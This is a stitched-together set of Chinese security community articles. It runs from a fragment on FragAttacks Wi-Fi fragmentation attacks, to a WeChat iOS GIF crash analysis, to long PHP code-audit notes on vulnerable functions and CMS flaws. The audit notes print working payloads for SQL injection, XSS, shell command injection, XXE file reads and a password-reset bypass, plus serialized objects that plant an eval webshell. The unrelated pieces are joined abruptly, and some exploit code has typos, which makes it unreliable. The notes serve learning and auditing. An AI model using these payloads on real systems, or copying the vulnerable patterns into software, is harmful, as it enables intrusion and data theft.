和 。而攻击者通过多信道的中间人进行拦截，一旦监测到攻击者指定IP数据包，便将此数据包转发给AP，即 ，AP一旦收到此数据包后，就将其解密后存在内存当中。
在步骤2进行之前，受害者需要与AP重新进行四次握手并协商新的密钥。之后攻击者等待受害者发送包含敏感信息的数据包，即 和
。攻击者将数据包号码为n+1的数据包拦截，并将其序列号修改为s，然后转发给AP，即数据包
。而AP直接把他当作序列号s数据包的第二个分片信息，将他解密后重组成新的数据包，而新的数据包中包含受害者的敏感信息与攻击者指定的IP。于是敏感信息就被发送到受害者控制的服务器上，造成信息泄露。
#### 分片缓存投毒攻击(CVE-2020-24586)：
图9.分片缓存投毒攻击流程
在步骤1中，攻击者嗅探到受害者的MAC地址后，伪造受害者MAC地址去连接AP。这样就可以合法的用受害者的身份在AP的内存中插入分片。
在步骤2中，受害者进行正常的认证工作，此时攻击者发送数据包
，这个数据包中包含攻击者指定的IP数据包。然后AP解密此数据包，并保存在内存中，以受害者的MAC地址作为标识。然后攻击者通过发送解除认证的数据包并断开连接，随后在受害者和AP之间建立一个多信道的中间人。注意此时AP内存中的分片并没有被清除。
之后受害者与AP之间进行正常的连接。此时攻击者只需要等待受害者发送第二个分片，数据包号码为n+1，攻击者将此数据包拦截后，并将此数据包的序列号修改为s，然后其转发给AP，即数据包
，一旦AP收到此数据包，和混合密钥漏洞类似，AP会将此数据包解密，并和之前保存在缓存中的数据包重组成新的数据包，因为这两个数据包包含相同的MAC地址和序列号。最后，AP将重组后的数据包发送给攻击者控制的服务器，从而造成敏感信息泄露。
参考资料：
1.<https://papers.mathyvanhoef.com/usenix2021.pdf>
2.<https://www.youtube.com/embed/88YZ4061tYw>
3.<https://www.fragattacks.com/#notpatched>
4.<https://github.com/vanhoefm/fragattacks>
5.<https://lore.kernel.org/linux-wireless/20210511180259.159598-1-johannes@sipsolutions.net/>
* * * | 社区文章 |
# 【技术分享】iOS版微信处理GIF表情不当导致闪退分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **shrek_wzw@360 Nirvan
Team**](http://bobao.360.cn/member/contribute?uid=2577449118)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、 背景情况**
5月17日起，在各个微信群中流传着一个天线宝宝的GIF表情。在iOS版的微信上，只要打开了包含这个GIF表情的聊天窗口，就会造成微信闪退。
在进行具体分析之前，对崩溃原因进行了猜测：（1）iOS系统自带GIF解析功能存在问题；（2）微信自己实现GIF解析的功能，由于对输入数据的校验不严格，导致异常。经过测试，发现iOS版QQ不受影响，因此可以排除iOS的GIF解析问题。
**二、 原因分析**
**1\. 样本精简**
初始的GIF样本有1MB之多，不利于定位引起问题的具体数据，因此我们需要对样本进行精简。通过010
Editor打开原始样本GIF，利用GIF模板解析，发生解析异常，这就表示样本GIF的格式存在问题。
从模板解析的情况显示，在38帧正常的图片数据后，出现了异常的数据。如图所示，因此我们将正常数据部分移除，仅保留异常数据，进行下一步精简。
可以看到，剩余的异常数据的部分有10多万个，通过二分法的方式进行测试和排除。具体就是，删除一半后，测试另外一半是否可以导致崩溃。如果崩溃了，说明引起异常的数据在保留的一半中，反之则说明在删除的部分中。
经过不断的排除后，发现异常的数据就在下图的紫色部分中。只要带有GIF的图像数据部分带有这些异常数据，就会导致iOS微信闪退。
**2\. 调试分析**
经过样本精简，我们已经发现了引起异常的数据位置。那么，现在就需要结合实际的调试，来确定实际引起异常的数据。以iOS微信6.5.7版为例，崩溃发生时的调用栈如下，崩溃发生于微信内部，说明是微信自身的GIF解析功能存在问题。
经过对相关函数的逆向分析，最终确定了引起异常的数据。首先来观察sub_100B6CBF0这个函数，对于GIF中的数据进行循环查找，如果存在0x21和0xF9，那么当前数据就表示是一个GraphicControlExtension结构，并接着对GraphicControlExtension数据进行解析。
如果当前查找到的数据为0x2C，就表示搜索到了一个ImageDescriptor，跳出while循环，进行实际图片数据的解析。
**这里也就是异常数据的起始位置！**
正常的帧数据的ImageDescriptor数据如下：
而引起异常的数据中，恰好存在0x2C这个关键的分隔符，导致下述红框中的数据被解析成了一个ImageDescriptor。可以看到，ImageWidth属性为0，ImageHeight属性为0x100。
接下来，这部分异常的数据就会进入sub_100B6CE90函数进行解析。由于ImageWidth为0，导致与ImageHeight相乘后等于0，
**在new buffer时，传入的大小参数为0，这是第一个问题** ，但这并不会导致闪退，仍然可以分配一个很小的堆块。
引起崩溃的代码如下，在else
block中，sub_100B6C4F0的作用没有具体跟踪，猜测是进行lzw解压缩，并返回解压缩后的数据长度v21。由于v10 =
0x0000010000000000，截断成unsigned int后为0，这就导致 v10 – 1 – v21
为负数，作为memset第三个参数，相应的unsigned int形式就是一个很大的正数。 **在memset时，就会导致崩溃，这是第二个问题。**
**三、 总结**
这个问题的根本原因是由于微信实现了自己的GIF解析功能，但由于对输入数据的校验不严格，导致异常的数据被解析，引起崩溃。
在5月17日当天，这个GIF开始流传后，微信似乎在服务器端做了屏蔽，使得这个GIF无法被正常接收。但我们只要随便修改一下GIF中的任意一个字节，就能绕过这个屏蔽措施。同时由于iOS应用上架需要经过苹果审核，需要额外耗费一定时间。这就使得这个Bug即使修复后，所有用户也无法立刻更新。目前最新的iOS微信6.5.8版本仍然存在崩溃的问题。 | 社区文章 |
# php代码审计学习之函数缺陷
**感兴趣的可以参考一下**[PHP-Audit-Labs](https://github.com/hongriSec/PHP-Audit-Labs)
## in_array函数缺陷
### Wish List
* Code
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
* 代码理解
**代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件**
* in_array函数
in_array
检查数组中是否存在某个值
* 题解
**php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传**
### piwigo2.7.1实例分析
* 环境搭建
#### 漏洞分析
* 于picture.php:332中
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
**当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数**
* include/functions_rate.inc.php:38
or !in_array($rate, $conf['rate_items']))
**查找变量rate是否存在于$conf['rate_items']当中**
$conf['rate_items']
* 直接将rate进行了拼接
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
**只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true**
* payload
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
* sqlmap
### CTF
* 环境搭建
* stop_hack函数
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
**stop_hack用来过滤一些危险函数**
* 注入
**获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询**
* 报错注入payload
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
* 参考
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
## filter_var函数缺陷
### Twig
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
**使用escape和filter_var进行过滤**
* escape
**默认是使用了htmlspecialchars方法进行过滤，**
* filter_var
使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
* htmlspecialchars转义
& (& 符号) =============== &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== <
> (大于号) =============== >
**默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号**
* payload
javascript://comment%250aalert(1)
### anchor-cms
* 环境搭建
#### 源码分析
* themes/default/404.php:9
* anchor/functions/helpers.php:34 current_url()函数
function current_url() {
return Uri::current();
}
* system/uri.php:84
public static function current() {
if(is_null(static::$current)) static::$current = static::detect();
return static::$current;
}
* detect 方法
public static function detect() {
// create a server object from global
$server = new Server($_SERVER);
$try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');
foreach($try as $method) {
// make sure the server var exists and is not empty
if($server->has($method) and $uri = $server->get($method)) {
// apply a string filter and make sure we still have somthing left
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {
// make sure the uri is not malformed and return the pathname
if($uri = parse_url($uri, PHP_URL_PATH)) {
return static::format($uri, $server);
}
// woah jackie, we found a bad'n
throw new ErrorException('Malformed URI');
}
}
}
throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
}
**关键代码**
if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {
// make sure the uri is not malformed and return the pathname
if($uri = parse_url($uri, PHP_URL_PATH)) {
return static::format($uri, $server);
}
// woah jackie, we found a bad'n
throw new ErrorException('Malformed URI');
* system/uri.php:126
public static function format($uri, $server) {
// Remove all characters except letters,
// digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
$uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);
// remove script path/name
$uri = static::remove_script_name($uri, $server);
// remove the relative uri
$uri = static::remove_relative_uri($uri);
// return argument if not empty or return a single slash
return trim($uri, '/') ?: '/';
}
**没有对xss进行过滤**
* payload
http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
### CTF
* 环境搭建
* flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
* index.php
<?php
$url = $_GET['url']; // 获取url
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){ //过滤url
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
} //命令执行
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
* payload
syst1m://"|ls;"sec-redclub.com
syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com
## 实例化任意对象漏洞
### Snow Flake
* code
function __autoload($className) { //自动加载
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d']; //获取get的c与d作为类名与参数
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
**如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法**
* payload
/?c=../../../../etc/passwd
### Shopware 5.3.3 （XXE）
* 环境搭建
#### 代码分析
* 漏洞触发点
* 打断点
* engine/Shopware/Controllers/Backend/ProductStream.php:52
* engine/Shopware/Controllers/Backend/ProductStream.php:63
**使用$this->Request()->getParam('sort')获取sort，然后进入RepositoryInterface类的unserialize方法**
* engine/Shopware/Components/LogawareReflectionHelper.php:56
**调用的是LogawareReflectionHelper类的unserialize方法**
**$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法**
* engine/Shopware/Components/ReflectionHelper.php:40
**新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控**
* 发送到burp
* 修改payload
/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=25
* 测试
* 参考
https://www.php.net/manual/zh/simplexmlelement.construct.php
### CTF
* code
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
**当class_exists时，调用 **autoload方法，但是**
autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法**
* 列出文件（GlobIterator类）
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
**第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名**
* payload
http://127.0.0.1:8888/index.php?name=GlobIterator¶m=./*.php¶m2=0
* 读取flag
http://127.0.0.1:8888/index.php?name=SimpleXMLElement¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
* 参考
https://www.php.net/manual/en/function.spl-autoload-register.php
## strpos使用不当引发漏洞
### False Beard
* code
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
* strpos
主要是用来查找字符在字符串中首次出现的位置。
**查找代码中是否含有
<与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了**
* payload
user=<"><injected-tag property="&pass=<injected-tag>
### DeDecms V5.7SP2任意密码重置漏洞
* 环境搭建
* 开启会员登陆并且注册两个会员
* member/resetpassword.php:75 漏洞触发点
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起，您的安全问题或答案回答错误","-1");
exit();
}
}
**将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数**
* 查看数据表
**当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了**
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
$row['safequestion'] == 0
$row['safeanswer'] == null
if ('0' == ''& null == ''){
sn()
}
if(false && true)
* member/inc/inc_pwd_functions.php:150
* member/inc/inc_pwd_functions.php:73
**进入newmail函数**
**如果$send == 'N'则发送重置邮件**
sendmail($mailto,$mailtitle,$mailbody,$headers);
/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
* member/resetpassword.php:96
**如果$id为空则退出，如果row不为空，则执行**
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起，临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
* member/templets/resetpassword2.htm:95
<input type="hidden" name="dopost" value="getpasswd">
<input type="hidden" name="setp" value="2">
<input type="hidden" name="id" value="<?php echo $id;?>" />
**将setp的属性设置为2**
* member/resetpassword.php:123
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功，请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起，新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起，临时密码错误', '-1');
exit;
}
**如果key等于$row['pwd']，则重置密码成功**
#### 漏洞验证
* 访问重置密码链接获取key
member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3
* 重置密码
member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU
### CTF
* 环境搭建
* buy.php
<script type="text/javascript" src="js/buy.js"></script>
* bug.js
function buy(){
$('#wait').show();
$('#result').hide();
var input = $('#numbers')[0];
if(input.validity.valid){
var numbers = input.value;
$.ajax({
method: "POST",
url: "api.php",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({ action: "buy", numbers: numbers })
}).done(function(resp){
if(resp.status == 'ok'){
show_result(resp);
} else {
alert(resp.msg);
}
})
} else {
alert('invalid');
}
$('#wait').hide();
}
**将用户提交的数字传入到api.php的buy函数**
* api.php
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
**由于是==，可进行弱类型比较，传入7个true**
* payload
[true,true,true,true,true,true,true]
* 购买flag
## escapeshellarg与escapeshellcmd使用不当
**escapeshellcmd: 除去字串中的特殊符号**
**escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数**
### postcard
* code
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
**新建一个MAil类进行邮件发送**
* Php内置函数mail
bool mail (
string $to , 接收人
string $subject , 邮件标题
string $message [, 征文
string $additional_headers [, 额外头部
string $additional_parameters ]] 额外参数
)
* Linux中的额外参数
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
* 举个例子（原文图）
* 结果
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
* filter_var()问题（FILTER_VALIDATE_EMAIL）
> filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗
> filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
* escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）
* 逃逸过程分析
$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
**传入127.0.0.1' -v -d a=1，escapeshellarg首先进行转义，处理为'127.0.0.1'\'' -v -d
a=1'，接着escapeshellcmd处理，处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符**
#### 参考
https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
## 正则使用不当导致的路径穿越问题
### Frost Pattern
* code
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
* preg_replace(函数执行一个正则表达式的搜索和替换)
* payload
$action =delete$data = ../../config.php
### WeEngine0.8
* web/source/site/category.ctrl.php:176
**file_delete文件删除函数**
* framework/function/file.func.php:294
**查看file_delete函数**
* 追朔$file变量从何而来
if (!empty($navs)) {
foreach ($navs as $row) {
file_delete($row['icon']);
}
* 追朔$navs从何而来
$navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
* web/source/site/category.ctrl.php:137
* web/source/site/category.ctrl.php:130
**$nav['icon'] 即为文件删除函数的参**
## parse_str函数缺陷
* parse_str
parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
## preg_replace函数之命令执行
### Candle
* code
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
* preg_replace(函数执行一个正则表达式的搜索和替换)
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
**$pattern 存在 /e 模式修正符，允许代码执行**
**/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行**
**将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符**
* payload
\S*=${phpinfo()}
#### 参考
[深入研究preg_replace与代码执行](https://xz.aliyun.com/t/2557)
### CmsEasy 5.5
* 环境搭建
#### 漏洞分析
* lib/tool/form.php:90
**如果$form[$name]['default']内容被匹配到就会执行eval**
* cache/template/default/manage/#guestadd.php:175
**全局搜索getform，主要注意catid是作为$name的**
* lib/table/archive.php:25
**追朔catid,寻找到default**
* lib/tool/front_class.php:2367
* lib/tool/front_class.php:493
* lib/tool/front_class.php:332
**$form[$name]['default']可控**
* lib/default/manage_act.php:29
* 测试
## str_replace函数过滤不当
#### Rabbit
* code
class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language) {
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
* str_replace(子字符串替换)
str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。
str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。
str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
* payload
....// 或者 ..././
### Metinfo 6.0.0
* strstr
查找字符串的首次出现到结尾的字符串
#### 漏洞分析
* app/system/include/module/old_thumb.class.php:14
* include/thumb.php:6
**全局搜索**
* app/system/include/class/load.class.php:113
* payload
http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
## 程序未恰当exit导致的问题
### Anticipation
* code
extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
* extract
从数组中将变量导入到当前的符号表
* payload
pl=phpinfo()
* 测试
### FengCms 1.32
* install/index.php
**如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装**
### Simple-Log1.6网站重装漏洞
* install/index.php
**访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装**
## unserialize反序列化漏洞
### Pumpkin Pie
* code
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
* 题解
**在loadData函数中使用到了unserialize反序列化方法，对传进来的$data进行了反序列化，最后对Template进行了实例化，将COOKIE中的data进行了反序列化。**
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data))
**代码对data进行了判断，不可以为对象，0:X，X不可以为数字，绕过方法可以使用array数组绕过第一个，在X前面加+绕过第二个限制，搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件，达成目的。**
* payload
<?php
class Template{
public $cacheFile = './test.php';
public $template = '<?php eval($_POST[xx])>';
}
$temp= new Template();
$test = Array($temp);
print(serialize($test));
?>
* 测试
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}
### Typecho-1.1
* 环境搭建
#### 漏洞分析
* install.php:230
**将cookie中的__typecho_configbase64解码之后进行反序列化操作**
* 条件
**如果finish不存在，或者存在config.inc.php文件$_SESSION['typecho']为空，则退出程序**
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;}
finish=1
**将反序列化后的结果传递给$config**
* install.php:232
* var/Typecho/Db.php:114
**变量adapterName = 'Typecho_Db _Adapter_ ' .
变量adapterName，如果adapterName是对象，会触发__toString()方法**
* var/Typecho/Feed.php:223
* var/Typecho/Feed.php:290
**如果$item['author']- >screenName为私有属性或者不存在会触发__get方法**
public function __get($key)
{
return $this->get($key);
}
* var/Typecho/Request.php:295
**call_user_fun回调函数，$this- >_param['scrrenName'] 的值设置为想要执行的函数，构造
$this->_filter 为对应函数的参数值self::RSS2 ==
$this->_type,type需要构造，item['author']为触发点，需要构造this_items**
* 构造payload
<?php
class Typecho_Request{
private $_params = array();
private $_fifter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_fifter[0] = 'assert';
}
}
class Typecho_Feed{
private $_type;
private $_item = array();
public function s__construct(){
$this->_type = 'RSS 2.0';
$item['author'] = new Typecho_Request();
$item['category']=Array(new Typecho_Request());
$this->_item[0]=$item;
}
}
$x = new Typecho_Feed();
$a = array(
'adapter' => $x,
'prefix' => 'Typecho_'
);
echo base64_encode(serialize($a));
?>
* 测试
## 误用htmlentities函数引发的漏洞
### String Lights
* code
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
* htmlentities
将字符转换为 HTML 转义字符
_ENT_COMPAT（默认值）：只转换双引号。
ENT_QUOTES：两种引号都转换。
ENT_NOQUOTES：两种引号都不转换。_
* 环境搭建
* payload
a%27onclick%3Dalert%281%29%2f%2f=1
### DM企业建站系统 v201710
#### 漏洞分析
* admindm-yourname/mod_common/login.php:63
* 直接拼接数据
$ss_P="select * from ".TABLE_USER." where email='$user' and ps='$pscrypt' order by id desc limit 1";
* component/dm-config/global.common.php:421
**ENT_NOQUOTES两种引号都不转换，造成注入**
## 特定场合下addslashes函数的绕过
### Turkey Baster
* code
class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
